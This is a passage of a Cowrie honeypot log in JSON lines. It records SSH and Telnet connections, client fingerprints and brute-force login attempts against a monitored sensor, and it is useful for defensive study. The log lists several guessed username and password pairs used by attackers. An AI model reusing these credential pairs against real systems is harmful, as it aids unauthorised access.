-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:38.351909Z","src_ip":"103.149.28.157","session":"1f0a8af8864c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52638,"dst_ip":"159.203.135.109","dst_port":23,"session":"661b7e0880f0","protocol":"telnet","message":"New connection: 128.199.8.54:52638 (159.203.135.109:23) [session: 661b7e0880f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:38.532338Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"kfkfkf","message":"login attempt [root/kfkfkf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:39.119854Z","src_ip":"103.149.28.157","session":"1f0a8af8864c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:40.376897Z","src_ip":"103.149.28.157","session":"1f0a8af8864c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":51948,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3bebbe6431f","protocol":"telnet","message":"New connection: 107.6.151.170:51948 (159.203.135.109:23) [session: f3bebbe6431f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:29:55.938734Z"}
{"eventid":"cowrie.session.closed","duration":37.76516819000244,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:30:04.859779Z","src_ip":"128.199.8.54","session":"e61ba164435a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.01091027259827,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:30:23.543093Z","src_ip":"128.199.8.54","session":"661b7e0880f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.168.240.63","src_port":42230,"dst_ip":"159.203.135.109","dst_port":22,"session":"7b1f7fb920f0","protocol":"ssh","message":"New connection: 217.168.240.63:42230 (159.203.135.109:22) [session: 7b1f7fb920f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:30:23.730596Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:30:23.735181Z","src_ip":"217.168.240.63","session":"7b1f7fb920f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:30:23.865774Z","src_ip":"217.168.240.63","session":"7b1f7fb920f0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dcm4chee","password":"123","message":"login attempt [dcm4chee/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:30:24.408913Z","src_ip":"217.168.240.63","session":"7b1f7fb920f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":112.4489278793335,"message":"Connection lost after 112 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:30:24.849276Z","src_ip":"128.199.8.54","session":"07048389c60c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:30:25.543510Z","src_ip":"217.168.240.63","session":"7b1f7fb920f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.513500928878784,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:30:28.452090Z","src_ip":"107.6.151.170","session":"f3bebbe6431f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.19.67.181","src_port":58260,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce80d10a1211","protocol":"ssh","message":"New connection: 46.19.67.181:58260 (10.17.0.5:22) [session: ce80d10a1211]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:02.015463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:02.019590Z","src_ip":"46.19.67.181","session":"ce80d10a1211","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:02.136880Z","src_ip":"46.19.67.181","session":"ce80d10a1211","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ramzan","message":"login attempt [root/ramzan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:02.487267Z","src_ip":"46.19.67.181","session":"ce80d10a1211","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:03.607264Z","src_ip":"46.19.67.181","session":"ce80d10a1211","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.113.145.209","src_port":60732,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6596d9933cd","protocol":"ssh","message":"New connection: 92.113.145.209:60732 (159.203.135.109:22) [session: f6596d9933cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:12.326032Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:12.330837Z","src_ip":"92.113.145.209","session":"f6596d9933cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:12.447434Z","src_ip":"92.113.145.209","session":"f6596d9933cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"5201314..","message":"login attempt [root/5201314..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:12.941515Z","src_ip":"92.113.145.209","session":"f6596d9933cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:14.060250Z","src_ip":"92.113.145.209","session":"f6596d9933cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00176048278809,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:25.092437Z","src_ip":"128.199.8.54","session":"a67380533d07","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.47.159.125","src_port":32830,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bcd44b80b48","protocol":"ssh","message":"New connection: 101.47.159.125:32830 (159.203.135.109:22) [session: 5bcd44b80b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:28.005993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:28.010625Z","src_ip":"101.47.159.125","session":"5bcd44b80b48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:28.267513Z","src_ip":"101.47.159.125","session":"5bcd44b80b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev1","password":"1234","message":"login attempt [dev1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:29.313954Z","src_ip":"101.47.159.125","session":"5bcd44b80b48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:30.569627Z","src_ip":"101.47.159.125","session":"5bcd44b80b48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":57026,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d9d73598439","protocol":"ssh","message":"New connection: 103.153.68.219:57026 (10.17.0.5:22) [session: 1d9d73598439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:32.910253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:32.912989Z","src_ip":"103.153.68.219","session":"1d9d73598439","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:33.166621Z","src_ip":"103.153.68.219","session":"1d9d73598439","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ujhbpjyn","message":"login attempt [root/ujhbpjyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:33.929545Z","src_ip":"103.153.68.219","session":"1d9d73598439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:35.185707Z","src_ip":"103.153.68.219","session":"1d9d73598439","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":49622,"dst_ip":"159.203.135.109","dst_port":22,"session":"b224d8b9aab9","protocol":"ssh","message":"New connection: 103.172.78.219:49622 (159.203.135.109:22) [session: b224d8b9aab9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:38.475130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:38.479617Z","src_ip":"103.172.78.219","session":"b224d8b9aab9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:38.735299Z","src_ip":"103.172.78.219","session":"b224d8b9aab9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:39.506286Z","src_ip":"103.172.78.219","session":"b224d8b9aab9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:40.763852Z","src_ip":"103.172.78.219","session":"b224d8b9aab9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57142,"dst_ip":"159.203.135.109","dst_port":23,"session":"541fc8090074","protocol":"telnet","message":"New connection: 172.81.62.90:57142 (159.203.135.109:23) [session: 541fc8090074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:45.663762Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57168,"dst_ip":"159.203.135.109","dst_port":23,"session":"d06756710fad","protocol":"telnet","message":"New connection: 172.81.62.90:57168 (159.203.135.109:23) [session: d06756710fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:45.726767Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":57156,"dst_ip":"159.203.135.109","dst_port":23,"session":"e818a5b85e22","protocol":"telnet","message":"New connection: 172.81.62.90:57156 (159.203.135.109:23) [session: e818a5b85e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:48.735031Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.216.149.180","src_port":60050,"dst_ip":"159.203.135.109","dst_port":23,"session":"53572426a3e2","protocol":"telnet","message":"New connection: 162.216.149.180:60050 (159.203.135.109:23) [session: 53572426a3e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:31:54.885783Z"}
{"eventid":"cowrie.session.closed","duration":9.974694013595581,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:04.860355Z","src_ip":"162.216.149.180","session":"53572426a3e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":54088,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a49b54b7003","protocol":"ssh","message":"New connection: 27.71.230.31:54088 (10.17.0.5:22) [session: 6a49b54b7003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:12.146838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:12.157018Z","src_ip":"27.71.230.31","session":"6a49b54b7003","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:12.381513Z","src_ip":"27.71.230.31","session":"6a49b54b7003","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"crackingworld123","message":"login attempt [root/crackingworld123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:16.408399Z","src_ip":"27.71.230.31","session":"6a49b54b7003","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T14:32:19.578687Z","src_ip":"27.71.230.31","session":"6a49b54b7003","protocol":"ssh"}
